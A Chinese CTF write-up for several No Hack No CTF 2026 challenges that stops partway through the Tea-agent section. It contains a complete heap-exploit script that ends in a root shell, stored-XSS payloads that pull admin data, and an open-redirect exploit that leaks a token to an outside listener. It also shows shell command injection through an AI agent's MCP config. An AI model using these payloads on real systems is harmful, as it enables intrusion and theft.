前言

這場我用 Ianon 單人參賽，總排 50th place / 2884 分，解了 15 題，台灣學生組拿到 第 3 名。Web 題特別有意思。

Welcome

Welcome to No Hack No CTF 2026

題目 hint 就寫「View source」，那就照做。開 DevTools 看頁面載入了什麼，發現有一個請求打到 card.ganl68384.workers.dev，回來的 JS 長這樣：

1
2
3
4
5
6
7
8
9
10
const ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
const ALPHANUM = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

function r(charset) {
    return charset[Math.floor(Math.random() * charset.length)];
}

function genFlag() {
    return `NHNC{${r(ALPHA)}wEL${r(ALPHANUM)}C${r(ALPHANUM)}oM${r(ALPHA)}e${r(ALPHANUM)}}`;
}

flag 直接是前端產的，根本不用打後端。console 裡呼叫 genFlag() 就有了。

NHNC{ywELECXoMjeh}

Auron

67 login system

nc txg.chal2.teagod.tech 16767，pwn 題。先 checksec：

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

PIE + NX，所以要洩漏位址而且不能塞 shellcode。binary 沒有 section header，objdump -d 直接印不出東西，改用 radare2：

1
r2 -e bin.relocs.apply=true -q -c 'aaa; afl' share/chal

main 是一個六選項選單。逐個函式看下來，register 的紀錄結構是這樣：

1
2
3
4
p = malloc(0x48);            // 72 bytes
memset(p, 0, 0x48);
p[0x40] = fopen("/dev/null", "a");   // offset 0x40 放一個 FILE*
read(0, p, 0x40);            // username 剛好 0x40，沒有溢位

register 讀 0x40 進 0x40 的欄位，很乾淨。所以溢位一定在別的地方。

show 一次給兩種洩漏：

1
2
printf(slots[i]);           // (A) username 直接當格式字串
write(1, slots[i], 0x48);   // (B) 整個 0x48 紀錄原始 dump，含那個 FILE*

update 才是真正的洞：

1
read(0, slots[i], 0x200);   // 讀 512 bytes 進一個 0x48 的紀錄

heap overflow，而且 read 不會在 NUL 停，payload 可以隨便含 0。

libc 版本很關鍵。Dockerfile 把 Arch base image 用 digest 釘死了，所以直接把同一個 image 的 libc 撈出來：

1
2
3
4
5
6
7
8
9
docker pull --platform linux/amd64 \
  archlinux@sha256:d41d768e81cac3bede426e294ac5b2c55ed4bf697698c0f13ddd86b911f7f260

cid=$(docker create --platform linux/amd64 \
  archlinux@sha256:d41d768e81cac3bede426e294ac5b2c55ed4bf697698c0f13ddd86b911f7f260)
docker cp "$cid":/usr/lib/libc.so.6 ./libc.so.6
docker rm "$cid"

strings libc.so.6 | grep 'glibc 2\.'
1
GNU C Library (GNU libc) stable release version 2.43

glibc 2.43，非常新。經典的「vtable 蓋成任意函式」從 2.24 起就被擋掉了（vtable 必須落在 __libc_IO_vtables 裡），所以走 House of Apple 2：用一個合法的 _IO_wfile_jumps，改走不受驗證的 _wide_data → _wide_vtable → __doallocate。

也順手在本機開一份一模一樣的環境來開發：

1
2
3
4
5
docker run -d --platform linux/amd64 --name chal67 \
  archlinux@sha256:d41d768e81cac3bede426e294ac5b2c55ed4bf697698c0f13ddd86b911f7f260 \
  sleep infinity
docker cp share/chal chal67:/chal
docker exec chal67 sh -c 'printf "NHNC{local_test_flag_67}\n" > /flag.txt; chmod 755 /flag.txt /chal'

格式字串探針測出 %11$p 是 libc 位址（offset 0x27741）、%15$p 是 PIE。至於 heap，在容器裡用 gdb 校準一次就看清楚了：

1
2
slot0 chunk=0x555555559010  FILEptr=0x555555559060   fp-chunk = 0x50
slot1 chunk=0x555555559240  FILEptr=0x555555559290   fp-chunk = 0x50

FILEptr = chunk + 0x50 是固定的，而 update 從 chunk0 寫 512 bytes 剛好蓋過 chunk0+0x50 那個真 FILE 物件。所以整套假 FILE / 假 wide_data / 假 wide vtable 全部鋪在同一發溢位裡。

觸發點選選單 6 的 exit：exit → _IO_cleanup → _IO_flush_all，會對 _IO_list_all 上的 stream 呼叫 _IO_OVERFLOW。只註冊一個 slot 的話，list 開頭就是我們蓋掉的那個。

完整 exploit：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.arch = 'amd64'

LOCAL = not args.REMOTE
if LOCAL:
    io = process(['docker', 'exec', '-i', 'chal67', '/chal'])
else:
    io = remote('txg.chal2.teagod.tech', 16767)

OFF_LIBCRET  = 0x27741
OFF_SYSTEM   = 0x54100
OFF_WFILEJMP = 0x211228     # _IO_wfile_jumps

def menu(c):
    io.recvuntil(b'> ')
    io.sendline(str(c).encode())

# 1) 註冊 slot 0，username 同時當格式字串探針
menu(1); io.recvuntil(b'username: ')
io.send(b'%11$p|%15$p|GO\n')
io.recvuntil(b'registered at slot '); io.recvline()

# 2) show slot 0 -> 格式字串洩漏 libc/pie + raw dump 洩漏 heap
menu(2); io.recvuntil(b'slot: '); io.sendline(b'0')
io.recvuntil(b'username: ')
line = io.recvuntil(b'|GO\n')
libc_ret = int(line.split(b'|')[0], 16)
io.recv(1)
dump = io.recv(0x48)
fileptr = u64(dump[0x40:0x48])      # == chunk0 + 0x50

libc_base = libc_ret - OFF_LIBCRET
chunk0    = fileptr - 0x50
system    = libc_base + OFF_SYSTEM
wfile_jmp = libc_base + OFF_WFILEJMP
log.info("libc_base = %#x", libc_base)
log.info("chunk0    = %#x", chunk0)

W  = chunk0 + 0x00     # 假 _IO_wide_data
F  = chunk0 + 0x50     # 假 FILE（必須等於 fileptr）
J  = chunk0 + 0x130    # 假 wide vtable
LK = chunk0 + 0x1d0    # 給 _lock 的清零 qword
assert F == fileptr

buf = bytearray(b'\x00' * 0x200)
def wq(off, val): buf[off:off+8] = p64(val)

# 假 _IO_wide_data
wq(0x18, 0)                 # _IO_write_base = NULL
wq(0x30, 0)                 # _IO_buf_base  = NULL
wq(0xe0, J)                 # _wide_vtable

# 假 FILE
buf[0x50:0x50+9] = b'  /bin/sh'   # _flags 同時就是要跑的字串
wq(0x50 + 0x20, 0)          # _IO_write_base
wq(0x50 + 0x28, 1)          # _IO_write_ptr > base
wq(0x50 + 0x88, LK)         # _lock
wq(0x50 + 0xa0, W)          # _wide_data
wq(0x50 + 0xc0, 0)          # _mode = 0
wq(0x50 + 0xd8, wfile_jmp)  # vtable = _IO_wfile_jumps（合法，過檢查）

# 假 wide jump table
wq(0x130 + 0x68, system)    # __doallocate = system

menu(4); io.recvuntil(b'slot: '); io.sendline(b'0')
io.recvuntil(b'new username: ')
io.send(bytes(buf))

# exit -> _IO_flush_all -> _IO_OVERFLOW -> ... -> system("  /bin/sh")
io.recvuntil(b'> ')
io.sendline(b'6')

io.sendline(b'cat /flag.txt')
io.interactive()

前面那兩個空白是重點：_flags 的低位要讓 _IO_NO_WRITES(0x8)、_IO_UNBUFFERED(0x2)、_IO_CURRENTLY_PUTTING(0x800) 三個 bit 都是 0，而空白是 0x20，剛好全部滿足；shell 又會忽略前導空白，於是 system(" /bin/sh") 就是 shell。

本機先過，再打遠端：

1
2
3
4
5
6
$ python3 exploit.py REMOTE
[*] libc_base = 0x7f96b3515000
[*] chunk0    = 0x55db4f481010
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /flag.txt

NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}

Frank

Camel rider

題目叫「Camel rider」，駱駝是 Perl 的吉祥物，jail 大概是 Perl。14514 那個 port 只是 instancer，要拿 CTFd token 換一個 5 分鐘的實例，實例是 nc 的原始 TCP 服務。

連上去 banner 是：

1
2
3
Welcome to Camel Rider!
Type ur code
>

先送一堆小程式試探執行模型，一條連線一支程式：

送出的程式碼 回應
print "hello\n"; Meow
print("hi\n") Meow
1; （無）
sleep 3; （無）
asdfqwer !!! （無）
print 1; 1

print 1 印出真的 1，但 print "1" 回 Meow，差別只有原始碼裡有沒有雙引號。所以 Meow 不是輸出被替換，而是原始碼被過濾器擋下來了。

摸黑名單的技巧很簡單：把候選字元塞進註解，送 1;#X。這程式什麼都不做也沒輸出，所以回應空的＝字元允許，回 Meow ＝字元被禁。

1
2
被禁： "  '  `
被允許： $ @ % & * ( ) { } [ ] < > / \ | ; : , . ? ! - _ = + ^ ~ （空格） #

只有三個引號類被禁。但 open(F, q(flag.txt)); print <F>; 還是 Meow，所以一定也有關鍵字黑名單，用同樣的 1;#<字詞> 測：

1
2
open / read / sysread / system / exec / eval   -> 被禁
print / flag / txt / cat / q{ / q( / chr / STDIN -> 允許

那就兩個問題各自解決。字串沒有引號可以用 q{...}；讀檔沒有 open/read 可以用 Perl 的菱形運算子，<> 會逐行讀 @ARGV 裡列的每個檔名，而 @ARGV 是可以直接賦值的：

1
@ARGV=(q{flag.txt});print<>;

字元用到 @ ( ) { } < > ; =，沒有引號；關鍵字只有 q、print、ARGV、<>。兩份黑名單都躲過了。

1
printf '@ARGV=(q{flag.txt});print<>;\n' | nc chal3.teagod.tech 10398

NHNC{xf8fnibf9fhiqfwbqubqmoyt6191qv3rU}

fishbaby1011

LemonShelf

小說投稿平台。題目描述已經把答案講一半了：投稿不公開、只有作者跟 admin 看得到、編輯審稿要一點時間。翻譯一下就是「有一個有權限的 bot 會打開你完全掌控的頁面」，標準的 XSS 場景。

註冊完先看自己是誰：

1
await (await fetch('/api/me')).text();
1
2
3
{"id":1363,"username":"lem299","role":"user",
 "features":["submit_book","comment"],
 "links":{"myBooks":"/my-books"}}

有 role 有 features，代表存在更高權限的角色。投稿表單有四個欄位，全部塞探測字串進去：

1
2
3
4
5
6
7
8
9
10
await fetch('/submit', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    title: 'TESTTITLE<b>x</b>',
    summary: 'SUM"y',
    author_note: 'NOTEMARK<b>bold</b><img src=x onerror=alert(7)>',
    content: 'BODY<script>1</script>'
  })
});

讀回書頁：

1
2
3
4
標題：TESTTITLE&lt;b&gt;x&lt;/b&gt;                     -> 有跳脫
摘要：SUM&#34;y                                        -> 有跳脫
內文：BODY&lt;script&gt;1&lt;/script&gt;              -> 有跳脫
author_note：<div class="author-note-self">NOTEMARK<b>bold</b><img src=x onerror=alert(7)></div>

四個裡面三個乖乖跳脫，就 author_note 是原始 HTML。儲存型 XSS 到手。

外洩通道我沒架 webhook，因為 app 自己就有一條更好用的：留言 API。admin 的 JS 可以把資料 POST 成我自己書上的留言，而留言只有作者（我）看得到，顯示時又會 HTML 跳脫，所以原始 JSON 也能完整帶回來。

第一發先問 admin 是誰：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const payload = `<img src=x onerror="(async()=>{
  const c = t => fetch('/api/books/1731/comments',{method:'POST',
      headers:{'Content-Type':'application/json'},
      body:JSON.stringify({content:t})});
  try { const me = await (await fetch('/api/me')).text(); await c('ME::'+me); }
  catch(e){ await c('ERR::'+e); }
})()">`;

await fetch('/books/1731/edit', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({ title:'Please review', summary:'review me',
                              author_note: payload, content:'story' })
});
await fetch('/books/1731/submit-review', { method: 'POST' });

等一下輪詢，留言區冒出一則作者是 admin 的留言：

1
2
3
4
ME::{"id":1,"username":"admin","role":"editor",
     "features":["review_book","comment","site_config"],
     "links":{"reviewQueue":"/api/editor/reviews",
              "siteConfig":"/api/editor/config"}}

成功！而且它自己把 /api/editor/config 交出來了。開一本新書，第二發去讀那個 config：

1
2
3
/api/editor/config::{"siteName":"LemonShelf","reviewMode":"enabled",
                     "secretEndpoint":"/api/admin/flag"}
/api/editor/reviews::Not Found

secretEndpoint: /api/admin/flag。第三發就直接去拿：

1
2
3
4
5
6
7
const payload = `<img src=x onerror="(async()=>{
  const c = t => fetch('/api/books/${id}/comments',{method:'POST',
      headers:{'Content-Type':'application/json'},
      body:JSON.stringify({content:t})});
  try { const d = await (await fetch('/api/admin/flag')).text(); await c('FLAG::'+d); }
  catch(e){ await c('FERR::'+e); }
})()">`;

留言區出現：

1
FLAG::NHNC{T3AG0D_1S_13GAND}

NHNC{T3AG0D_1S_13GAND}

hsuan0223x

Confused Component - Web

題目就明講了：「previewer 把路徑當成資料，loader 卻把它當成別的東西。」

服務有 /api/info、/preview?file=...、/assets/manual.css，還有一個永遠回 401 的 /login。兩個端點都吃路徑段上的 matrix parameter（;handler=...;name=...），但處理方式完全不同。

previewer 只把它當字串：

1
2
3
GET /preview?file=/assets/manual.css;handler=component;name=auth
{"handler":"component","normalized":"/assets/manual.css",
 "requested":"/assets/manual.css;handler=component;name=auth"}

靜態檔伺服器就當真了。/api/info 只宣告 preview_handlers: ["static"]，代表 component 本來不該從這邊碰到，那就試試：

1
curl -i 'http://<host>:<port>/assets/manual.css;handler=component;name=auth'
1
2
3
4
5
6
HTTP/1.0 200 OK
Content-Type: application/wasm
X-Asset-Normalized-Path: /assets/manual.css
X-Auth-Engine: wit-component/v2
X-Web-Flag: NHNC{p4th_1s_n0t_4lw4ys_4_p4th_fcece1f659814e599f50106c99ea16c5}
Content-Length: 560

flag 直接在 X-Web-Flag header 裡，WASM 完全不用碰，那個 CCVM1 section 是下一題 Rev 才要用的東西。

NHNC{p4th_1s_n0t_4lw4ys_4_p4th_fcece1f659814e599f50106c99ea16c5}

Confused Component - Rev

同一個 instance，這次要真的用那顆 WASM。題目給了八條 hint，把 CCVM1 的格式、VM 指令集、canonical JSON、nonce 推導、proof 輸入、bearer token 格式全部定義好了，所以 Rev 的部分其實是「照規格實作一台 VM」。

先拿 metadata：

1
curl 'http://chal3.teagod.tech:34838/api/info'
1
2
3
4
5
6
7
{
  "auth_engine": "wit-component/v2",
  "component": {"default_name": "auth", "loader": "enabled"},
  "preview_handlers": ["static"],
  "server_time": 1783293755,
  "team": "2df5ba6c618b4d199a3ab6ac451beb4d"
}

team 跟 server_time 是 nonce 的材料。接著用 Web 題那條路撈 auth.wasm，從裡面找 CCVM1 magic，後面兩個 little-endian u16 就是 constants_len=64、bytecode_len=225。

VM 本身：8 個 uint32 register、256 bytes memory、32-bit wrapping、HALT 回傳 memory 前 32 bytes。nonce 是 sha256(f"{team}:{server_time}")[:16]，payload 用 canonical JSON（sort_keys=True、compact separators），VM input 是 sha256(canonical) + nonce + sha256(nonce + canonical + constants[:16])。

整支 solver：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import base64, hashlib, json, struct, urllib.request

BASE = "http://chal3.teagod.tech:34838"

def get(path, headers=None):
    req = urllib.request.Request(BASE + path, headers=headers or {})
    with urllib.request.urlopen(req, timeout=20) as r:
        return r.read(), dict(r.headers), r.status

def b64u(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def canonical(obj):
    return json.dumps(obj, separators=(",", ":"), sort_keys=True).encode()

def u32(data, off):
    return int.from_bytes(data[off:off + 4], "little")

def rol32(x, amount):
    amount &= 31
    return ((x << amount) | (x >> (32 - amount))) & 0xffffffff

def extract_ccvm_blob(wasm):
    idx = wasm.find(b"CCVM1")
    if idx == -1:
        raise ValueError("CCVM1 blob not found")
    blob = wasm[idx:]
    constants_len = int.from_bytes(blob[5:7], "little")
    bytecode_len = int.from_bytes(blob[7:9], "little")
    return blob[:9 + constants_len + bytecode_len]

def run_ccvm1(bytecode, constants, input_material):
    regs = [0] * 8
    mem = bytearray(256)
    ip = 0
    while True:
        op = bytecode[ip]; ip += 1
        if op == 0x01:
            reg = bytecode[ip]; regs[reg] = u32(bytecode, ip + 1); ip += 5
        elif op == 0x02:
            reg, off = bytecode[ip], bytecode[ip + 1]
            regs[reg] = u32(input_material, off); ip += 2
        elif op == 0x03:
            reg, index = bytecode[ip], bytecode[ip + 1]
            regs[reg] = u32(constants, index * 4); ip += 2
        elif op == 0x04:
            dst, src = bytecode[ip], bytecode[ip + 1]
            regs[dst] = (regs[dst] ^ regs[src]) & 0xffffffff; ip += 2
        elif op == 0x05:
            dst, src = bytecode[ip], bytecode[ip + 1]
            regs[dst] = (regs[dst] + regs[src]) & 0xffffffff; ip += 2
        elif op == 0x06:
            reg, amount = bytecode[ip], bytecode[ip + 1]
            regs[reg] = rol32(regs[reg], amount); ip += 2
        elif op == 0x07:
            dst, src = bytecode[ip], bytecode[ip + 1]
            regs[dst] = (regs[dst] * regs[src]) & 0xffffffff; ip += 2
        elif op == 0x08:
            off, reg = bytecode[ip], bytecode[ip + 1]
            mem[off:off + 4] = regs[reg].to_bytes(4, "little"); ip += 2
        elif op == 0x09:
            reg, off = bytecode[ip], bytecode[ip + 1]
            regs[reg] = u32(mem, off); ip += 2
        elif op == 0x0a:
            dst, a, b = bytecode[ip], bytecode[ip + 1], bytecode[ip + 2]
            regs[dst] = ((regs[a] ^ rol32(regs[b], 9)) + 0x9e3779b9) & 0xffffffff; ip += 3
        elif op == 0x0b:
            reg = bytecode[ip]
            rel = struct.unpack("b", bytes([bytecode[ip + 1]]))[0]
            ip += 2
            if regs[reg] != 0: ip += rel
        elif op == 0xff:
            return bytes(mem[:32])
        else:
            raise ValueError(f"bad opcode {op:#x}")

info = json.loads(get("/api/info")[0])
wasm = get("/assets/manual.css;handler=component;name=auth")[0]
blob = extract_ccvm_blob(wasm)

constants_len = int.from_bytes(blob[5:7], "little")
bytecode_len = int.from_bytes(blob[7:9], "little")
constants = blob[9:9 + constants_len]
bytecode = blob[9 + constants_len:9 + constants_len + bytecode_len]

team_id = info["team"]
server_time = int(info["server_time"])
nonce = hashlib.sha256(f"{team_id}:{server_time}".encode()).digest()[:16]

core_payload = {
    "uid": "admin",
    "team": team_id,
    "exp": server_time + 900,
    "nonce": b64u(nonce),
}
canon = canonical(core_payload)
input_material = (
    hashlib.sha256(canon).digest()
    + nonce
    + hashlib.sha256(nonce + canon + constants[:16]).digest()
)
proof = run_ccvm1(bytecode, constants, input_material)

final_payload = dict(core_payload)
final_payload["proof"] = b64u(proof)
token = b64u(canonical(final_payload))

flag = get("/admin/flag", {"Authorization": "Bearer " + token})[0]
print(flag.decode())

這次 instance 算出來的 nonce 是 ascdBnryYsVy4wyz0roI9A、proof 是 PUOCi00q2wZg5sjZat1bnV2MhyCb6a2MQprhRJxpdGo，token 送到 /admin/flag 回 200：

1
NHNC{t1ny_vm_b1g_tru5t_2df5ba6c618b4d199a3ab6ac451beb4d}

flag 尾巴那串就是我的 team id，蠻可愛的。

NHNC{t1ny_vm_b1g_tru5t_2df5ba6c618b4d199a3ab6ac451beb4d}

newbie-crypto

給了 chall.py、output.txt、public.txt。chall.py 用 AES-128-CTR 加密票券，但每次 encrypt() 都是：

1
AES.new(KEY, AES.MODE_CTR, nonce=NONCE)   # NONCE = b"ticket42"，固定

同一把 key、同一個 nonce、每次都重新建 cipher，counter 從頭開始，所有票券的 keystream 完全一樣。

output.txt 裡五個密文開頭 16 bytes 全部是 c3c8593c1adc1add7df8c32c549f785f，直接證實了：因為每張票的明文開頭都是 {"event":"modern。

public.txt 給了訪客姓名跟座位，票券結構在 chall.py 裡是固定的，所以訪客票券的完整明文可以重建。選名字最長那位（明文 171 bytes，keystream 覆蓋最多），XOR 出 keystream，再拿去 XOR admin 密文：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import json

def encode_ticket(ticket):
    return json.dumps(ticket, separators=(",", ":")).encode()

guest_tickets = [
    {"event":"modern-crypto-101","role":"guest","name":"hsuan0223x","seat":"H-0223","note":"enjoy the workshop"},
    {"event":"modern-crypto-101","role":"guest","name":"NHNC","seat":"T-0704","note":"enjoy the workshop"},
    {"event":"modern-crypto-101","role":"guest","name":"this_chal_not_need_read_read_read_read_read_read_read_read_read_read_read","seat":"N-0705","note":"enjoy the workshop"},
    {"event":"modern-crypto-101","role":"guest","name":"AI_WILL_SLOP","seat":"C-114514","note":"enjoy the workshop"},
]
guest_pts = [encode_ticket(t) for t in guest_tickets]

guest_cts = [ ... ]      # output.txt 裡的 guest_cipher_0..3
admin_ct  = bytes.fromhex("c3c8593c1adc1add7df8c32c549f785f...")

idx = 2                  # 名字最長的那位
keystream = bytes(a ^ b for a, b in zip(guest_cts[idx], guest_pts[idx]))
admin_pt  = bytes(a ^ b for a, b in zip(admin_ct, keystream))
print(admin_pt.decode())
1
{"event":"modern-crypto-101","role":"admin","name":"organizer","seat":"ROOT","note":"priority access granted","flag":"NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}"}

NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}

LemonTea

Login_page

給了一個編譯好的 .NET app。flag 不在檔案裡，docker-compose.yml 顯示它是執行期用環境變數注入的，所以得讀懂程式邏輯。反編譯：

1
2
3
dotnet tool install -g ilspycmd
cd chal/app
ilspycmd Login-page.dll > decomp.cs

讀下來發現同一個 process 裡跑了兩個 web server。對外的 5000 port，還有一個：

1
2
val3.WebHost.UseUrls("http://127.0.0.1:9000");
val4.MapGet("/flag", () => Results.Text(internalFlag));

flag 在 127.0.0.1:9000/flag，外面連不到，只能靠 SSRF。而 SSRF 端點是一條隨機的 /<resourcePath>（14 個 hex 字元），還需要一次性的 capability：

1
2
3
if (!IsLoopbackHost(result.Host)) return BadRequest("only loopback targets allowed");
if (!TryReadCapability(cap, out _, out error)) return BadRequest(error);
return Results.Text(await http.GetAsync(target).Content.ReadAsStringAsync());

capability 只有 admin-only 的 /admin/hint-token 會產生，45 秒過期、用一次就作廢。但它是一個 base64url 的 JSON，其中 r 欄位就是那條秘密的 resourcePath，所以只要洩漏一個 cap，兩個秘密一次到手。

那誰能鑄造 cap？背景的 AdminBot：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var doc = JSON(await http.GetAsync("http://127.0.0.1:5000/admin/hint-token"));
string cap = doc["capability"];
string current = $"http://127.0.0.1:5000{url}{('?'|'&')}cap={UrlEncode(cap)}";
...
for (int hop = 0; hop < 5; hop++) {
    var resp = await http.SendAsync(GET current, Referer: prev);
    string loc = resp.Headers.Location.OriginalString;
    loc = Regex.Replace(loc, "(?i)%0[9ad]|[\\t\\r\\n]", "");   // 移除 tab/CR/LF
    if (loc.StartsWith("//")) loc = curUri.Scheme + ":" + loc;
    Uri next = resolve(loc);
    prev = current; current = next.ToString();
    if (next.Authority != origin) {
        await crossHttp.SendAsync(GET next, Referer: prev);   // <-- Referer 含 cap！
        break;
    }
}

bot 把 cap 掛在 URL 上，而跨來源那一跳的 Referer 是前一個完整 URL。所以只要能讓 bot 從題目 origin redirect 到我的機器，cap 就會躺在 Referer 裡。

redirect 從哪來？cookie 驗證設了 LogoutPath = "/logout" 與 ReturnUrlParameter = "ReturnUrl"，所以 /logout?ReturnUrl=X 在 Url.IsLocalUrl(X) 為真時會 302 過去。IsLocalUrl 的規則是：以單一 / 開頭，且第二個字元不是 / 或 \。

那塞一個 tab 進去：ReturnUrl=/%09/evil.com。

  • IsLocalUrl 看到第二個字元是 TAB，不是 / 也不是 \ → 判定為本地，放行 302。
  • bot 拿到 Location: /<TAB>/evil.com/...，那條 regex 把 TAB 刪掉 → 變成 //evil.com/...。
  • 開頭是 // → bot 補上 scheme → http://evil.com/...。
  • authority 不同 → 走跨來源分支 → 帶著含 cap 的 Referer 打我。

伺服器的 IsLocalUrl 跟 bot 的正規化對同一個字串的理解不一致，這就是整個洞。而 /submit 的過濾（開頭單一 /、不以 // 開頭、無 \r \n #）也完全放行這個 payload。

一個細節卡了一下：bot 組回呼 URL 時用的是 curUri.Scheme，而 curUri 是打 http://127.0.0.1:5000/... 的請求，所以 scheme 寫死是 http。只提供 HTTPS 的 tunnel（ngrok HTTP tunnel、trycloudflare.com）收不到這個回呼，得要能給 http://host:port 的原始 TCP tunnel。我用 bore.pub：

1
2
./bore local 8899 --to bore.pub
# INFO bore_cli::client: listening at bore.pub:9325

exploit：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
import base64, json, re, sys, threading, time, urllib.parse, urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer

TARGET           = sys.argv[1].rstrip('/')
PUBLIC_AUTHORITY = sys.argv[2]
LOCAL_PORT       = int(sys.argv[3]) if len(sys.argv) > 3 else 8899
leaked = {}

def b64url_decode(s):
    s = s.replace('-', '+').replace('_', '/')
    s += '=' * ((4 - len(s) % 4) % 4)
    return base64.b64decode(s)

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        ref = self.headers.get('Referer', '')
        print(f"[listener] callback {self.path}  Referer={ref}")
        m = re.search(r'[?&]cap=([^&\s]+)', ref)
        if m and 'cap' not in leaked:
            leaked['cap'] = urllib.parse.unquote(m.group(1))
        self.send_response(200); self.end_headers(); self.wfile.write(b'ok')

threading.Thread(
    target=lambda: HTTPServer(('0.0.0.0', LOCAL_PORT), H).serve_forever(),
    daemon=True).start()

# 用 %09 (tab) 技巧的 open redirect -> bot 在 Referer 裡把 cap 交出來
payload = f"/logout?ReturnUrl=/%09/{PUBLIC_AUTHORITY}/leak"
req = urllib.request.Request(TARGET + "/submit", data=payload.encode(), method="POST")
print("[*] /submit ->", urllib.request.urlopen(req, timeout=10).read().decode())

for _ in range(120):
    if 'cap' in leaked: break
    time.sleep(0.5)

cap = leaked['cap']
info = json.loads(b64url_decode(cap))
resource = info['r']
print(f"[+] decoded -> resourcePath={resource} ts={info['ts']}")

# 45 秒內把還沒用過的 cap 重放到 SSRF 端點
ssrf = (TARGET + resource + "?target=" +
        urllib.parse.quote("http://127.0.0.1:9000/flag", safe="") +
        "&cap=" + urllib.parse.quote(cap, safe=""))
flag = urllib.request.urlopen(ssrf, timeout=10).read().decode()
print("\n[*] FLAG =>", flag)
1
2
3
4
5
6
[*] listener on 0.0.0.0:8899  (bot callback -> http://bore.pub:9325)
[*] submitting path: /logout?ReturnUrl=/%09/bore.pub:9325/leak
[*] /submit -> queued
[listener] callback /leak  Referer=http://127.0.0.1:5000/logout?ReturnUrl=/%09/bore.pub:9325/leak&cap=eyJyIjoiL2Nj...
[+] decoded -> resourcePath=/cc8d199e90bd4d ts=1783252382
[*] FLAG => NHNC{I_F0und_th1s_r3dir3ct_1ssu3_by_r3ading_th3_s0rc3_1n_d0t_N3T_b8a717ed250742f0967f6c074f058437}

flag 本身就在講「我是靠讀 .NET 原始碼發現這個轉址問題的」，完全對得上。

NHNC{I_F0und_th1s_r3dir3ct_1ssu3_by_r3ading_th3_s0rc3_1n_d0t_N3T_b8a717ed250742f0967f6c074f058437}

Tea-agent

部署檔先看，這題的加固本身就在洩漏解法。Dockerfile 說 flag 在 /flag 且 0444，所以只要能跑一條指令就贏了。docker-compose.yml 是 read-only rootfs、cap_drop: ALL、no-new-privileges、/tmp 掛 noexec，這些防禦只有在「預期解法就是執行程序」時才有意義。image 名稱還直接叫 tea-agent-rce。

.env.example 是決定性的一句：

1
# The intended exploit path does not require LLM output,

不需要 LLM 輸出，那就不是 prompt injection，是底層管線。而 sample_configs/benign.json 剛好給了一個很可疑的東西：

1
2
3
4
5
6
7
8
{
  "mcpServers": {
    "memory": {
      "command": "/app/mcp_memory",
      "args": ["--profile=guest", "--topic=welcome", "--once"]
    }
  }
}

設定裡有 command + args 而且程式會去執行它，攻擊面很明顯。

服務不是 HTTP，是純 TCP 的 TUI：

1
{ printf 'hello\n'; sleep 3; } | nc -w 5 localhost 1337
1
2
3
4
5
6
╭─ TEA AGENT ─ local llm api · mcp workspace · terminal ui ─╮

╭─ workspace ── mcp: detached ─╮
│  1  chat with TEA AGENT       │
│  2  upload MCP config         │
│  3  exit                      │

送 benign config 看基準行為，發現子程序的 stdout 會被原封不動回顯給我，外洩通道有了。

先排除 mcp_memory 本身是漏洞。--help 只有三個 flag，用 strace 追 openat 發現不管 --topic 塞什麼路徑穿越它都不開任何應用層檔案，餵 stdin 也沒反應。純誘餌。所以問題在 agent 怎麼啟動子程序。

探驗證規則：command 是跟 /app/mcp_memory 做完全字串比對，/app/./mcp_memory、/proc/self/root/app/mcp_memory 全被拒。args 每個必須 -- 開頭，允許英數字加 / . : , - _ ; < > #，禁止空白跟 $ ( ) | & 之類。

但是 ;、<、> 是允許的。這三個都是 shell 特殊字元，強烈暗示子程序是經過 shell 啟動的。用 strace 確認：

1
2
3
4
5
docker run -d --name dbg -p 1338:1337 --cap-add SYS_PTRACE \
  -v "$PWD/agent:/app/agent:ro" -v "$PWD/mcp_memory:/app/mcp_memory:ro" \
  -v /tmp/agent-rce-local/flag:/flag:ro -w /app alpine:3.20 \
  sh -c 'apk add --no-cache strace >/dev/null 2>&1; strace -f -e trace=execve -o /trace.out /app/agent'
docker exec dbg grep execve /trace.out
1
2
execve("/bin/sh", ["/bin/sh", "-c", "/app/mcp_memory --profile=guest --topic=welcome --once"], ...)
execve("/app/mcp_memory", ["/app/mcp_memory", "--profile=guest", "--topic=welcome", "--once"], ...)

找到了。command 跟 args 被用空白串成字串再丟 /bin/sh -c。

剩下的問題是「不能有空白」。兩個 shell 技巧解決：; 分隔指令不需要空白，< 是獨立的 token 所以 cmd</flag 等同 cmd < /flag。第一發：

1
2
args = ["--topic=x;cat</flag"]
-> rejected config: arg contains blacklisted token "cat"

還有一層 token 黑名單。逐個測：

1
2
